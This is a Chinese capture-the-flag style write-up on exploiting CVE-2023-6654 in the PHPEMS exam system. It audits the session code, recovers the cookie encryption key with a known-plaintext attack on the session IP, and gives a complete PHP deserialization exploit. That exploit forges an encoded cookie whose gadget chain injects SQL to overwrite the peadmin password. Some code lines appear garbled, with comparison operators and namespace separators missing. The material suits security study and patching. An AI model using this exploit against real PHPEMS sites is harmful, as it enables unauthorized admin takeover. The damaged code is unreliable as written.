前言
系统是phpems，修改了默认密码，需要利用CVE登上去
CVE-2023-6654 ，菜鸟学习，大佬多指点
0x01环境搭建
https://phpems.net/index.php 源码
config.inc.php修改相应数据库配置
{width="7.037036307961505in" height="4.045271216097988in"}
数据库运行pe9.sql文件建立数据库
{width="16.29629593175853in" height="7.365761154855643in"}
0x02代码审计
根据题目提示是CVE2023-6654
{width="8.648147419072616in" height="4.851079396325459in"}
漏洞点在session.cls.php
查看session.cls.php代码
{width="8.685185914260718in" height="5.097732939632546in"}
查看ginkgo
{width="9.333333333333334in" height="5.282419072615923in"}
其make方法会判断$G拼接的文件名是否存在，也就是lib文件下的.cls.php文件，存在的就会包含这个文件
pepdo，ev，pdosql，strings是这里面分别包含的文件，根据CVE披露得知是反序列化漏洞，搜索反序列化点。
{width="5.8148140857392825in" height="0.41712160979877516in"}
strings.cls.php中有利用点
{width="8.944444444444445in" height="2.6294094488188975in"}
getSessionId()方法里面有调用decode
{width="7.574074803149606in" height="3.374326334208224in"}
key值为CS,CS值在config.inc.php中，题目环境是修改的
{width="9.462963692038494in" height="3.851010498687664in"}
使用如下代码可以解密出明文，因为我们知道key
{width="10.444444444444445in" height="3.1749781277340334in"}
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2586%2582%258Fgf%25A3%25EE";
$key = CS;
$info = urldecode(urldecode($info));
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
echo $info;
{width="10.537036307961506in" height="1.4014162292213472in"}
encode代码
public function encode($info)
{
$info = serialize($info);
$key = CS;
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
decode代码
public function decode($info)
{
$key = CS;
$info = urldecode($info);
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
$info = unserialize($info);
return $info;
}
可以看出里面这个$p值是循环的，加密的出来的值等于其ascll值相加，
encode是明文+key=密文
decode是密文-key=明文
key=密文-明文
key的长度是32位，也就是我们得到的密码每32位一循环，那么如果我们知道密文中其中一段32位的明文，就可以算出来key了
ev.cls.php
{width="10.61111111111111in" height="3.681751968503937in"}
可以确认这个ip是可控的，也就是这个值是可控的
a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}
去掉前面的64位，往后顺延32为取出来，值如下
:"sessionip";s:9:"127.0.0.1";s:1
解密脚本
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7tSm%25A6nfg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9yjiiemj%25A3%25EE";
$key = CS;
$info = urldecode(urldecode($info));
$info1=substr($info,64,32);
//echo $info1;
$ed=strlen($info1);//也就是32
$dc=32;
$sessip=':"sessionip";s:9:"127.0.0.1";s:1';
for ($i=0;$i<$ed;$i++)
{
$p=$i%$dc;
$info1[$i]=chr(ord($info1[$i])-ord($sessip[$p]));
}
echo $info1;
//1hqfx6ticwRxtfviTp940vng!yC12345
构造反序列化链子
session.cls.php的__destruct() 关键代码
$sql = $this->pdosql->makeUpdate($data);
$this->db->exec($sql);
{width="7.333333333333333in"
height="2.8976049868766403in"}
这里可以看出分别需要db和pdosql，以此达到反序列化修改数据库密码，
构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec
{width="8.796297025371828in" height="1.4777165354330708in"}
0x03漏洞复现
这里使用网上师傅的EXP
namespace PHPEMS
{
class session
{
public function __construct()
{
$this->sessionid="1111111";
$this->pdosql= new pdosql();
$this->db= new pepdo();
}
}
class pdosql
{
private $db;
public function __construct()
{
$this->tablepre = 'x2_user set
userpassword="a10adc3949ba59abbe56e057f20f883e" where
username="peadmin";#--';
$this->db=new pepdo();
}
}
class pepdo
{
private $linkid = 0;
}
}
namespace {
define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345');
function encode($info)
{
$info = serialize($info);
$key = CS1;
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])+ord($key[$p]));
}
return urlencode($info);
}
$session = new PHPEMSsession();
$array = array("sessionid"=>"123123123", $session);
echo serialize($array)."n";
echo(urlencode(encode($array)))."n";
}
实战中我们的ip是可以伪造的
{width="10.648147419072616in" height="5.5473053368328955in"}
{width="11.722222222222221in" height="1.0431999125109361in"}
